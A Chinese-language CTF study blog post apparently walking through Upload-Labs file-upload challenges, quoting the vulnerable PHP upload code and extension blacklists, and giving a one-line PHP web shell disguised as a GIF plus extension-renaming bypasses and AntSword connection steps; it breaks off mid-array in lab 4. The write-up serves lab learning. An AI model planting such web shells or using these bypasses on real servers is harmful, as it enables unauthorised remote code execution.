Upload-Labs-Linux1学习笔迹（图文介绍）

最新推荐文章于 2025-10-17 18:37:53 发布

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最新推荐文章于 2025-10-17 18:37:53 发布 · 1.4k 阅读

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#学习

lab 1

前端绕过jpg，后端改php后缀，通过蚁剑连接，在根目录下找到flag，

flag{71dc5328-c145-4fbf-a987-4dfb4c1dacd1}

//写以下文件a.jpg

GIF89
<?php @eval($_POST['cmd']); ?>

labs 2

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//检查提交
    if (file_exists(UPLOAD_PATH)) { //文件是否存在
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];//路径中文件名分离
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

观察代码，同样没对图片进行检查，只对文件后缀名进行了前端验证（一句话木马，本篇通用）

//写以下文件a.jpg

GIF89
<?php @eval($_POST['cmd']); ?>

修改文件jpg后缀为.php

打开图片链接

蚁剑连接

labs3

观察源码，对文件进行了些过滤，但是，这道图题还无需如此复杂，我们还是按照前两道题方式，上传文件，在burp中改名为phtml文件名后缀名，当然这种文件后缀名同样的可以被apache解析

//写以下文件a.jpg

GIF89
<?php @eval($_POST['cmd']); ?>

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

连接成功！

labs4

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf"